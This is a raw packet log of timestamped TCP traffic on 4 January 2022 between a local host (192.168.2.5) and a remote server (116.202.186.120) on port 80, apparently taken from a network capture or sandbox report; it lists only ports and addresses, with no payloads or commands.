Jan 4, 2022 19:34:08.206429958 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206438065 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206454039 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206475973 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206479073 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206504107 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206516027 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206526041 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206540108 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206551075 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206574917 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206577063 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206602097 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206602097 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206625938 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206629992 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206651926 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206661940 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206676006 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206691027 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206700087 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206724882 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206732035 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206749916 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206773043 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206774950 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206796885 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206821918 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206821918 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206845045 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206852913 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206868887 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206891060 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206896067 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206913948 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206938028 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206938982 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206963062 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206984997 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206985950 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207010031 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207020998 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207035065 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207060099 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207073927 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207084894 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207109928 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207122087 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207134962 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207149982 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207160950 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207185030 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207185030 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207211018 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207233906 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207235098 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207258940 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207278967 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207279921 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207304001 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207305908 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207338095 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207362890 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207362890 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207386017 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207406044 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207410097 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207433939 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207437038 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207458973 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207484961 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207492113 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207509041 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207532883 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207536936 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207557917 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207566977 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207581997 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207604885 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207612038 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207628965 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207652092 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.207653046 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207680941 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.207725048 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.211714029 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.211761951 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.211787939 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.211812019 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.211836100 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.211860895 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.211882114 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.211904049 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.211908102 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.211925030 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.211946964 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.211970091 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.211990118 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.211992979 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212018013 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212038040 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212039948 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212063074 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212064028 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212086916 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212090969 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212109089 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212131023 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212138891 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212155104 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212179899 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212192059 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212205887 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212215900 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212232113 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212250948 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212256908 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212287903 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212291956 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212313890 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212316036 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212340117 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212342024 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212368011 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212374926 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212392092 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212404013 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212419033 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212435961 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212456942 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212460041 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212486029 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212490082 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212511063 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212515116 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212536097 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212543011 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212559938 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212563992 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212584972 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212601900 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212611914 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212625980 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212637901 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212663889 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212668896 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212690115 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212714911 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212717056 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212739944 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212766886 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212766886 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212793112 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212800026 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212819099 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212842941 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212843895 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212892056 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212893963 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212917089 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212940931 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212944984 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212970972 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.212980986 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.212995052 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213006020 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.213017941 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213037014 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.213042021 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213064909 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213085890 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213090897 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.213110924 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213114977 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.213129997 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213154078 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213165998 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.213179111 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213201046 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.213202953 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213227987 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213233948 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.213254929 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213279009 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213290930 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.213304043 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213340044 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213356972 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.213366985 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213385105 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.213391066 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213413954 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.213414907 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213438988 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213463068 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.213463068 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213485956 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.213488102 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213514090 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213529110 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.213536978 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213562012 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213565111 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.213588953 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.213610888 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.213646889 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.461430073 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.461622000 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.709355116 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.709505081 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.201392889 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.201554060 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.259330034 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.261290073 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.279313087 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.279345036 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.279361010 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.279500961 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.281188965 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281217098 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281239033 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281263113 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281285048 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281306028 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281327009 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281338930 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.281348944 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281354904 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.281358957 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.281362057 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.281372070 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281388998 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.281394005 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281404972 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.281415939 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281430960 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.281439066 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281460047 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.281461954 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281483889 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281486034 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.281510115 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.281531096 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.281841040 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281863928 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281886101 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281897068 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.281908035 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281955004 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.281961918 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.281963110 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281985998 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.281991005 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282006979 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282017946 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282030106 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282040119 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282051086 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282058001 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282073021 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282083035 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282094955 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282107115 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282115936 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282138109 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282143116 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282157898 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282159090 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282181025 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282185078 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282201052 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282210112 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282222033 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282242060 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282244921 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282274008 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282275915 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282295942 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282298088 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282318115 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282320023 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282341003 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282344103 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282362938 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282366037 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282383919 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282388926 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282406092 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282412052 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282428026 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282435894 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282449961 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282459021 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282471895 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282483101 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282494068 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282505035 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282515049 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282529116 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282536983 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.282557964 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.282577991 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.299453974 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.299494982 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.299515963 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.299537897 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.299576044 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.299607992 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.301713943 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.301747084 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.301770926 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.301784992 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.301793098 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.301816940 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.301831007 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.301837921 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.301862001 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.301862001 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.301883936 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.301892042 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.301906109 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.301919937 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.301928043 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.301949024 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.301955938 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.301971912 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.301979065 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.301994085 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302015066 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302016020 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302036047 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302038908 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302061081 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302062035 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302083969 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302086115 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302104950 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302108049 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302129030 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302133083 CET	49898	80	192.168.2.5	116.202.186.120
